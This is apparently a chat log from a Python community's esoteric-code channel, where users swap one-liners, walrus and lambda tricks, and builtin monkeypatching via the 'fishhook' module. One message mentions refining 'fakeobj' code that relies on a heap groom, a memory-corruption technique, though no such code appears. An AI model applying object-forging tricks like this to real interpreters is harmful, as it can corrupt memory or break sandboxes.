4084573625427926461960411776755798447068222734620727479639565495066604130413823740779170157066334062704593625902870325333724941434910941930696129746044082690792788384359546922391437229557175459998821721069768370063823267544725388397601727308375883743731426402228903709475327186525689108132608784955033064028816259485533853052367975887427098785294399137373954530679439603830111951433264423603181596649981248270862386454521995056654406114307005047743548366389751805969839634915293992175336607117081261827772363519261830155364511660370722211394367156071388657777299560331619493861205958913147103992613172710308459642746981809252201460169403306360080259121892565998732697598893323616057665295873523431906867169837438893858408240943851630713879356972392502762740864214574999109698992321597038948695482568243040350973338501824885503656373470920540950928891846661711086294925449559752832754272518476762551377955398371033048824688293809090288662385555604880714213883036508647791744339558768810729061131963811
... (truncated - too long)
Full output: https://paste.pythondiscord.com/mevodadoqu.txt
In Python, there's no tail recursion optimization, so writing a plain recursive function in a tail-call style won't help much
So True, result means that you have some final result
and False, (arg1, arg2, ...) means that you have some arguments for the next function call
Hey @stone crane!
Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:
• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)
• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:
oh nice trampolines
@shy zenith so the first part (lambda f:f(f)) is a function that takes one argument f and then it calls it with itself as its argument f(f)
i do not follow
it is basically this ```py
def Ycombinator(func):
return func(func)
def workfunc(workfunc, arg=default_val):
if do_work():
return 'done'
return workfunc(workfunc)
Ycombinator(workfunc)
ohhh thats super cool
the syntax was confusing it looked like multiplying lambdas
the second part actually does the work for the recursive function, and then calls itself (or doesnt if done)
i didnt realize you could do that tho
within a compression list can i declare a variable once
like
i want an equivalent to
that too, list comprehensions help with declaring variables
x = 0
res = []
for i in somelist:
if i%5 and x < 3 == 0:
x+= 1
res.append(x*i)
something random liek this
er
@ember grail that does not need recursion
you could use a mutable outer value
or a walrus
but with walrus i can declare such variable once?
without rewritting it in each loop
so say something like
res = (lambda x=0:[[x:=x+1 if i%5 and x < 3 == 0 else 0]and x*i for i in somelist])()```
i see
you declare an anonymous function that you only use there
if you want to use only list comps then you could do py res = [[[x:=x+1 if i%5 and x < 3 == 0 else 0]and x*i for i in somelist]for x in [0]][0]
(there are def ways to optimize that further tho)
function = lambda x, y : x*y
res = []
for i in somelist:
res.append(function(i,i+1))
ok how about this
how do i do This
in compressed python™️
res = [function(i,i+1)for i in somelist] @ember grail
i gave that function as an example but i meant like
something more complex, like say
well ill handle that later
can't you do smthing like:
f = lambda x, y: foo(x,y)
res = [f(i, i+1) for i in somelist]```
im trying to do a oneliner
actually nvm that's redundant
and technically you can just
use the function directly?
if you fit the function into a lambda you can do it in 2 lines, idk about 1
unless you stick the function into the list comp
res = [i*(i+1) for i in lst]```
for example?
i kinda dont have any rn, so nvm
@radiant anchor i found a way to make the fakeobj code you wrote only need one heap groom to work. You just need to get the memory of a single item tuple, which can be done with the original fakeobj. then on subsequent calls you can just overwrite the first address in the tuple, then use that as a consts in a lambda:None function
you can do that as much as you want and it doesnt require the heapgroom (after is succeeds once)
from types import GenericAlias
from typing import Any
from patchy import patch
@patch(int, "__class_getitem__")
def __class_getitem__(cls: type[int], *args: Any) -> GenericAlias:
print("cls is", cls)
print("args", args)
return GenericAlias(cls, args)
print("heck")
print(int[12])
print("done")
# prints
# heck
# cls is 12
# args ()
# 12[()]
# done
```this is some weird stuff
!e
from types import GenericAlias
from typing import Any
from patchy import patch
@patch(int, "__class_getitem__")
def __class_getitem__(cls: type[int], *args: Any) -> GenericAlias:
print("cls is", cls)
print("args", args)
return GenericAlias(cls, args)
print("heck")
print(int[12])
print("done")
@abstract oracle :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 4, in <module>
003 | ModuleNotFoundError: No module named 'patchy'
why does cls get mapped to 12 shouldnt it be int?
good idea, I will implement that
@formal sandal Do you remember coming up with this:
def tokenize(s,t=""):
for c in s+s[-1:].swapcase():t=(t==""or t.isupper()==c.isupper())and t+c or(yield t) or c
... to extract tokens from: "PARISeatsBERLINdrinks".
What do you think about:
indeed, I was even sober 🙂
"".join([(" ", c)[c.isupper()] for c in s] + [(" ", c)[c.islower()] for c in s]).split()
Only two CC!
@astral rover is that my patchy module? theres is an update for it on pypi called fishhook
i am intrigued as to why __class_getitem__ works like that
Yeah it's your module
yea you should use fishhook its way more stable
The answer is: your complexity metric is wrong 😛
it properly supports exceptions (as opposed to patchy which shimmed them using stack manipulation)
Fair enough! 🙂
seems slightly less weird with fishhook fishhook.<4441046496>[12]
hmm i wonder how __class_getitem__ is implemented (because that should say int)
ahh its inherited from type
oh that explains why you take so long to type 😜
so __class_getitem__ functions as a bound method so it stores the class it is declared within to __self__
i may have to add a specific handler for it
nah, I just think too much about my messages, and sometimes scrap them altogether
you can come up with whatever excuse you want, we know the truth now
@astral rover just pushed an update that fixes __class_getitem__ with fishhook
ah right thanks
it looks like orig doesnt work for hooked __class_getitem__ tho, ill look into that
how would something like
l=[1]
for i in range(10):
l.append(sum(l))
print(l)
``` be made into a one liner
isn't that just doubling
!e
l=[1]
for i in range(10):
l.append(sum(l))
print(l)
be made into a one liner
@twilit grotto :x: Your eval job has completed with return code 1.
001 | File "<string>", line 4
002 | print(l)
003 | ^
004 | SyntaxError: invalid non-printable character U+200A
tf
well yeah but thats just an example
i tried using the walrus operator but didn't work
print([1, 1, 2, 4, 8, 16, 32, 64, 128, 256, 512])
```onelined 😎
okay now do
l=[1,2]
for i in range(2**32):
l.append(sum(l))
print(l)
print([1, 2] + [3 * 2 ** i for i in range(2 ** 32)])
!e
print([1, 2] + [3 * 2 ** i for i in range(32)])
...
@frozen holly :white_check_mark: Your eval job has completed with return code 0.
[1, 2, 3, 6, 12, 24, 48, 96, 192, 384, 768, 1536, 3072, 6144, 12288, 24576, 49152, 98304, 196608, 393216, 786432, 1572864, 3145728, 6291456, 12582912, 25165824, 50331648, 100663296, 201326592, 402653184, 805306368, 1610612736, 3221225472, 6442450944]
didn't work
its 2**32
fib, tmp = lambda n:__import__("functools").reduce(lambda x,n:[x[1],x[0]+x[1]], range(n),[0,1])[0], [print(fib(i)) for i in range(1, 100)]
!e fib, tmp = lambda n:import("functools").reduce(lambda x,n:[x[1],x[0]+x[1]], range(n),[0,1])[0], [print(fib(i)) for i in range(1, 100)]
@frozen holly :x: Your eval job has completed with return code 1.
001 | Traceback (most recent call last):
002 | File "<string>", line 1, in <module>
003 | File "<string>", line 1, in <listcomp>
004 | NameError: name 'fib' is not defined
urgh
ha
it works in 3.9 stick it in your interpreter
too bad i use 3.8
!e
print([0, 1] + [int((((1+5**0.5)/2)**(n+1)-((1-5**0.5)/2)**(n+1))/5**0.5)for n in range(1, 100)])
@fervent hull :white_check_mark: Your eval job has completed with return code 0.
[0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765, 10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578, 5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155, 165580141, 267914296, 433494437, 701408733, 1134903170, 1836311903, 2971215073, 4807526976, 7778742049, 12586269025, 20365011074, 32951280099, 53316291173, 86267571272, 139583862445, 225851433717, 365435296162, 591286729879, 956722026041, 1548008755920, 2504730781961, 4052739537881, 6557470319842, 10610209857723, 17167680177565, 27777890035288, 44945570212853, 72723460248141, 117669030460994, 190392490709135, 308061521170129, 498454011879265, 806515533049395, 1304969544928660, 2111485077978055, 3416454622906715, 5527939700884771, 8944394323791488, 14472334024676260, 23416728348467744, 37889062373144008, 61305790721611752, 99194853094755776, 160500643816367552, 259695496911123328, 420196140727490880, 679891637638614272, 110008777
... (truncated - too long)
Full output: https://paste.pythondiscord.com/isitajuhem.txt
ok now do this
import random
l = [0]
for i in range(110):
l.append(l[i]+random.randint(0,1)*2+1)
print(l)
!e
print([0] + [(s:=(_ and s)+__import__("random").randint(0,1)*2+1) for _ in range(110)])
@fervent hull :white_check_mark: Your eval job has completed with return code 0.
[0, 3, 4, 7, 8, 11, 12, 15, 18, 19, 20, 23, 24, 25, 26, 29, 30, 33, 34, 37, 40, 43, 46, 47, 50, 53, 56, 59, 60, 61, 62, 65, 66, 67, 68, 69, 72, 73, 76, 79, 80, 81, 84, 87, 90, 93, 96, 97, 100, 101, 102, 103, 106, 109, 112, 113, 114, 115, 118, 121, 124, 125, 128, 129, 132, 133, 134, 135, 136, 137, 140, 141, 142, 143, 144, 147, 148, 149, 152, 153, 154, 157, 158, 159, 162, 165, 166, 169, 172, 173, 174, 177, 180, 183, 184, 185, 188, 189, 192, 193, 194, 197, 198, 199, 200, 201, 204, 205, 208, 209, 212]
Glad that Python checks for reference error at runtime and and shortcuts
I guess this is the best place to ask this... I'm using dis.Bytecode to create a list of dis.Instruction objects so I can mess with a functions bytecode... is there an easy way to recompile this list of dis.Instruction objects into python bytecode or should I use something else?
I am pretty sure you know the solution to this, @formal sandal ... How would you turn this into a "one-liner"?
def p(file, d={}, t={58: 97, 65: 65, 66: 65, 67: 65, 68: 65, 69: 65, 70: 65, 71: 65, 72: 65, 73: 65, 74: 65, 75: 65, 76: 65, 77: 65, 78: 65, 79: 65, 80: 65, 81: 65, 82: 65, 83: 65, 84: 65, 85: 65, 86: 65, 87: 65, 88: 65, 89: 65, 90: 65, 97: 97, 98: 97, 99: 97, 100: 97, 101: 97, 102: 97, 103: 97, 104: 97, 105: 97, 106: 97, 107: 97, 108: 97, 109: 97, 110: 97, 111: 97, 112: 97, 113: 97, 114: 97, 115: 97, 116: 97, 117: 97, 118: 97, 119: 97, 120: 97, 121: 97, 122: 97, 193: 65, 195: 65, 201: 65, 205: 65, 214: 65, 220: 65, 242: 97, 256: 65, 258: 65, 278: 65, 298: 65, 352: 65, 362: 65}):
for q in "".join(filter(lambda l: not l.startswith(("#", "\n")), open(file, encoding="utf-8", newline="\n").readlines())).split():
a = (x := q.translate(t)).find('Aa', c := x.find('aA', o := x.find('Aa') + 1) + 1) + 1; d.setdefault((q[:o], q[o:c]), []).append((q[c: a], q[a:]))
return d
The problem I have is keeping the return d and the for loop in one line. Would obviously use a comprehension if I didn't have to modify the dictionary (d) and return it.
(also notice that I am somewhat cheating with the ; which I can though replace with a walrus on a and the and operator)
You probably can remove the ; with some and/or, then turn it into a list comprehension and return (listcomp + [d])[-1]
Thanks. Indeed, I will give it a shot.
Took me five minutes. I am getting better at something useless:
def pp(f, d={}, t={58: 97, 65: 65, 66: 65, 67: 65, 68: 65, 69: 65, 70: 65, 71: 65, 72: 65, 73: 65, 74: 65, 75: 65, 76: 65, 77: 65, 78: 65, 79: 65, 80: 65, 81: 65, 82: 65, 83: 65, 84: 65, 85: 65, 86: 65, 87: 65, 88: 65, 89: 65, 90: 65, 97: 97, 98: 97, 99: 97, 100: 97, 101: 97, 102: 97, 103: 97, 104: 97, 105: 97, 106: 97, 107: 97, 108: 97, 109: 97, 110: 97, 111: 97, 112: 97, 113: 97, 114: 97, 115: 97, 116: 97, 117: 97, 118: 97, 119: 97, 120: 97, 121: 97, 122: 97, 193: 65, 195: 65, 201: 65, 205: 65, 214: 65, 220: 65, 242: 97, 256: 65, 258: 65, 278: 65, 298: 65, 352: 65, 362: 65, 197: 65, 229: 97, 322: 97, 321: 65}):
return ([all(((a := (x := q.translate(t)).find('Aa', c := x.find('aA', o := x.find('Aa') + 1) + 1) + 1), (d.setdefault((q[:o], q[o:c]), []).append((q[c: a], q[a:]))))) for q in "".join(filter(lambda l: not l.startswith(("#", "\n")), open(f, encoding="utf-8", newline="\n").readlines())).split()], d)[1]
This is dumb and has no use, but is there a way to get the global dictionary of another file without running it
For example, say I have b.py with some code in it, I want to see what its globals() will be from a.py without running b.py, is that possible?
I personally don't think that's possible but I'll ask it anyways in case it is
!e
import math
print(math.__dict__)
@formal sandal :white_check_mark: Your eval job has completed with return code 0.
{'__name__': 'math', '__doc__': 'This module provides access to the mathematical functions\ndefined by the C standard.', '__package__': '', '__loader__': <_frozen_importlib_external.ExtensionFileLoader object at 0x7f44206f3eb0>, '__spec__': ModuleSpec(name='math', loader=<_frozen_importlib_external.ExtensionFileLoader object at 0x7f44206f3eb0>, origin='/usr/local/lib/python3.9/lib-dynload/math.cpython-39-x86_64-linux-gnu.so'), 'acos': <built-in function acos>, 'acosh': <built-in function acosh>, 'asin': <built-in function asin>, 'asinh': <built-in function asinh>, 'atan': <built-in function atan>, 'atan2': <built-in function atan2>, 'atanh': <built-in function atanh>, 'ceil': <built-in function ceil>, 'copysign': <built-in function copysign>, 'cos': <built-in function cos>, 'cosh': <built-in function cosh>, 'degrees': <built-in function degrees>, 'dist': <built-in function dist>, 'erf': <built-in function erf>, 'erfc': <built-in function erfc>, 'exp': <built-in function exp>, 'expm1':
... (truncated - too long)
Full output: https://paste.pythondiscord.com/fikiqakawi.txt
well if the file doesn't get run the globals dictionary is empty, so... maybe {}? 
alternatively you could run it without "running" it by implementing a python interpreter within python to see what the globals() dictionary would have been if you did run it
Ah wait, I should've been specific, I don't want to use import. The entire reason I'm doing this is because I got an idea in my dream to create my own import function that only imports specific things given a pattern. So if I give the function a pattern of t.n to import from file a.py, it'll import every function/class from the file that matches that pattern (ten, tan, ...). The only problem here is, if I just read file and check if something words match the pattern, it'll try to import local stuff and that'll fail. I know this is useless, just doing it to pass time.

How do I do that ??
import the file with import, select everything that matches the pattern, and only return those

That's the point, I don't want to use import
Oh wait, I'm using __import__ anyways
Bruh
import the file by creating two dictionaries, reading the file and executing the code with compile and exec, select everything that matches the pattern, and only return those

Hm. I'll try that, thanks
I don't know if this counts as esoteric but can something like this be done in python?
a,b=[(i,j) for i,j in [[1,2],[2,3],[3,4]]]
I want output of [1,2,3] in a
and [2,3,4] in b
@sick hound :white_check_mark: Your eval job has completed with return code 0.
(1, 2, 3) (2, 3, 4)
This gives tuples, you can just use map(list, zip(*l)) to make it a list, or, [list(i) for i in zip(*l)]
